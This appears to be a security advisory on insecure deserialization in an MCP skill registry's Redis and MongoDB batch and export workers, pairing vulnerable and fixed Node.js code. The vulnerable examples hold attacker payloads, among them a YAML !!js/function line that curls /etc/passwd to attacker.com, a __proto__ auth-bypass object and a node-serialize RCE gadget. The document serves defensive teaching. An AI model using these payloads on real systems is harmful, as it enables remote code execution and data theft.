SA-SKL-DESER23 — Insecure Deserialization

Insecure Deserialization in MCP Skill Registry Audit Batch Processing and Bulk Export Endpoints

Audit batch jobs and bulk export pipelines in MCP skill registries persist configuration, templates, and job metadata to Redis and MongoDB for retrieval across worker processes. When those persisted values are deserialized using unsafe formats — yaml.load with DEFAULT_FULL_SCHEMA, MongoDB BSON with Code type enabled, MessagePack without null-prototype protection, or node-serialize — an attacker with queue write access achieves remote code execution during routine background job processing, often without touching the HTTP layer at all.

SA-SKL-DESER23 findings
CRITICALDESER23-001 — Audit batch job reads BullMQ job config from Redis as YAML via yaml.load(DEFAULT_FULL_SCHEMA) — !!js/function in batchConfig.onComplete achieves RCE at batch completion callback evaluation; fix: FAILSAFE_SCHEMA; JSON for all queue data; Zod BatchConfigSchema
CRITICALDESER23-002 — Bulk export reads column mapping config from MongoDB as BSON — BSON Code type at columnTransform field triggers eval() during export column transformation; fix: reject BSON Code type at ingestion; Zod string-only schema; safe mapping engine
HIGHDESER23-003 — Export template stored in Redis as MessagePack — __proto__.skipAuth:true in packed object pollutes Object.prototype during decode; all subsequent auth checks in the same process return truthy skip; fix: Object.create(null) target; Zod schema
CRITICALDESER23-004 — Batch result aggregation reads summary config from Redis via node-serialize — IIFE gadget achieves RCE at aggregation time; fix: JSON.parse + Zod; never node-serialize for cached data

DESER23-001 — yaml.load DEFAULT_FULL_SCHEMA RCE via !!js/function in BullMQ batch job config

Audit batch jobs store their configuration as YAML in a Redis key so workers across multiple pods can retrieve and validate the same job parameters. The worker calls yaml.load(configString) without specifying a schema, which defaults to DEFAULT_FULL_SCHEMA in js-yaml and allows the !!js/function tag. An attacker with Redis write access (via SSRF to the Redis port, a compromised internal service, or a Redis misconfiguration) inserts a YAML payload containing !!js/function in the batchConfig.onComplete field. When the BullMQ worker evaluates the config to invoke the completion callback, the function body executes in the Node.js worker process context.

Vulnerable
// DESER23-001 — VULNERABLE
// yaml.load without schema — DEFAULT_FULL_SCHEMA allows !!js/function RCE.

// workers/batch-audit.worker.js
const yaml = require('js-yaml');
const { redis } = require('../lib/redis');

async function processBatchJob(jobId) {
  const configStr = await redis.get(`batch:config:${jobId}`);
  const batchConfig = yaml.load(configStr); // VULNERABLE: DEFAULT_FULL_SCHEMA

  // Attacker payload in Redis:
  // batchConfig:
  //   targetSkills: [...]
  //   onComplete: !!js/function >
  //     function() { require('child_process').exec('curl attacker.com/$(cat /etc/passwd)') }

  const results = await runBatchAudit(batchConfig.targetSkills);
  if (typeof batchConfig.onComplete === 'function') {
    batchConfig.onComplete(results); // ← RCE here
  }
}
Fixed
// DESER23-001 — FIXED
// 1. Store batch config as JSON, not YAML.
// 2. Parse with JSON.parse + Zod BatchConfigSchema.
// 3. onComplete is a known enum of server-side handler names, never a function value.

const { z } = require('zod');
const BatchConfigSchema = z.object({
  targetSkills: z.array(z.string().max(200)).max(500),
  onComplete: z.enum(['notify', 'archive', 'retry']).default('notify'),
  priority: z.enum(['low', 'normal', 'high']).default('normal'),
});

async function processBatchJob(jobId) {
  const raw = await redis.get(`batch:config:${jobId}`);
  const batchConfig = BatchConfigSchema.parse(JSON.parse(raw)); // safe parse

  const results = await runBatchAudit(batchConfig.targetSkills);
  await batchCompletionHandlers[batchConfig.onComplete](results); // lookup table, not eval
}

DESER23-002 — BSON Code type RCE at export column transformation

Bulk export column mapping configurations are stored in MongoDB documents. The export worker retrieves the document and applies each column’s transform field to output values. When the MongoDB driver is configured with promoteValues: true (the default before driver v4), BSON Code type values stored in the document are promoted to JavaScript functions. If a columnTransform field contains a BSON Code value, applying it to a column value triggers eval()-adjacent code execution during the export pass.

Vulnerable
// DESER23-002 — VULNERABLE
// BSON Code type at columnTransform triggers eval() during export transformation.

// workers/bulk-export.worker.js
const { MongoClient } = require('mongodb');
const client = new MongoClient(MONGO_URI); // default: promoteValues:true in older drivers

async function runExport(exportId) {
  const config = await client.db().collection('exportConfigs').findOne({ _id: exportId });
  // config.columns[*].transform may be BSON Code type — eval()-adjacent execution
  for (const col of config.columns) {
    output[col.name] = col.transform
      ? col.transform(rowValue) // ← BSON Code type invocation = RCE
      : rowValue;
  }
}
Fixed
// DESER23-002 — FIXED
// 1. Reject BSON Code type at document ingestion — validation rejects it on write.
// 2. At read time, verify transform field is a string enum, never a function.
// 3. Use a safe mapping engine that applies named transformers by lookup.

const { BSON } = require('bson');
const { z } = require('zod');

const ColumnSchema = z.object({
  name: z.string().max(100),
  transform: z.enum(['none', 'lowercase', 'truncate100', 'dateISO']).default('none'),
});
const ExportConfigSchema = z.object({ columns: z.array(ColumnSchema).max(50) });

const TRANSFORM_FNS = {
  none: v => v,
  lowercase: v => String(v).toLowerCase(),
  truncate100: v => String(v).slice(0, 100),
  dateISO: v => new Date(v).toISOString(),
};

async function runExport(exportId) {
  const raw = await client.db().collection('exportConfigs').findOne({ _id: exportId });
  if (raw?.columns?.some(c => c.transform instanceof BSON.Code))
    throw new Error('BSON Code type rejected in export config');
  const config = ExportConfigSchema.parse(raw);
  for (const col of config.columns) {
    output[col.name] = TRANSFORM_FNS[col.transform](rowValue); // safe lookup
  }
}

DESER23-003 — MessagePack prototype pollution via __proto__.skipAuth in export template

Export templates are cached in Redis as MessagePack for fast retrieval. The decode call uses msgpack.decode(buf) with the default options, which uses Object.assign semantics internally. An attacker who can write to Redis inserts a packed object containing __proto__.skipAuth: true. When the template is decoded, Object.prototype.skipAuth becomes true for the entire process, and any subsequent if (config.skipAuth) guard in the export pipeline returns truthy.

Vulnerable
// DESER23-003 — VULNERABLE
// MessagePack decode without null-prototype target — __proto__ pollution.

const msgpack = require('@msgpack/msgpack');
const templateBuf = await redis.getBuffer(`export:template:${templateId}`);
const template = msgpack.decode(templateBuf); // VULNERABLE: Object.assign semantics
// Attacker payload: { __proto__: { skipAuth: true }, columns: [...] }
// After decode: Object.prototype.skipAuth === true in this process
if (!authService.check(req.session) || template.skipAuth) {
  // skipAuth is now true for all objects — auth bypass
  return generateExport(template);
}
Fixed
// DESER23-003 — FIXED
// 1. Use Object.create(null) as decode target — no prototype chain.
// 2. Validate with Zod schema — no __proto__ or prototype fields allowed.
// 3. Auth check is not based on template.skipAuth — always verify session.

const msgpack = require('@msgpack/msgpack');
const { z } = require('zod');

const TemplateSchema = z.object({
  columns: z.array(z.object({ name: z.string().max(100) })).max(50),
  format: z.enum(['csv', 'json', 'xlsx']).default('csv'),
}).strict(); // strict() rejects unrecognized keys including __proto__

const rawBuf = await redis.getBuffer(`export:template:${templateId}`);
const decoded = msgpack.decode(rawBuf, { useBigInt64: false });
const target = Object.assign(Object.create(null), decoded); // null-prototype target
const template = TemplateSchema.parse(target); // validated — __proto__ stripped by strict()

// Auth check is always based on session, never on template fields
await requireSession(req); // throws 401 if not authenticated
return generateExport(template);

DESER23-004 — node-serialize IIFE gadget RCE at batch result aggregation

Batch result aggregation reads a summary configuration from Redis that was serialized using node-serialize in an earlier version of the codebase. The node-serialize library uses a custom serialization format that recognizes function-like strings prefixed with _$$ND_FUNC$$_ and immediately invokes them (IIFE pattern) during deserialization. Any attacker who writes a _$$ND_FUNC$$_function(){...}() payload to the Redis key achieves code execution when the aggregation worker calls serialize.unserialize().

Vulnerable
// DESER23-004 — VULNERABLE
// node-serialize IIFE gadget — RCE at unserialize() call.

const serialize = require('node-serialize');
const raw = await redis.get(`batch:summary:${jobId}`);
const summaryConfig = serialize.unserialize(raw); // VULNERABLE
// Attacker payload in Redis:
// {"format":"_$$ND_FUNC$$_function(){require('child_process').execSync('id>/tmp/pwned')}()"}
Fixed
// DESER23-004 — FIXED
// 1. Remove node-serialize entirely — JSON.parse only.
// 2. Zod SummaryConfigSchema for structure validation.
// 3. Migrate existing Redis keys on first read.

const { z } = require('zod');
const SummaryConfigSchema = z.object({
  groupBy: z.enum(['severity', 'skillId', 'org']).default('severity'),
  format: z.enum(['table', 'chart', 'raw']).default('table'),
  topN: z.number().int().min(1).max(100).default(10),
});

const raw = await redis.get(`batch:summary:${jobId}`);
// Detect and reject node-serialize payloads
if (raw?.includes('_$$ND_FUNC$$_'))
  throw new Error('node-serialize payload detected — rejecting');
const summaryConfig = SummaryConfigSchema.parse(JSON.parse(raw));

Queue data deserialization policy: All data stored in queues (BullMQ, Bull, Redis Streams) must use JSON serialization and be validated with a Zod schema on dequeue. YAML, PHP serialize, and node-serialize are banned for queue data. MongoDB BSON stored for worker retrieval must have BSON Code type rejected at ingestion via a Zod z.string() constraint on all transform fields.

Related findings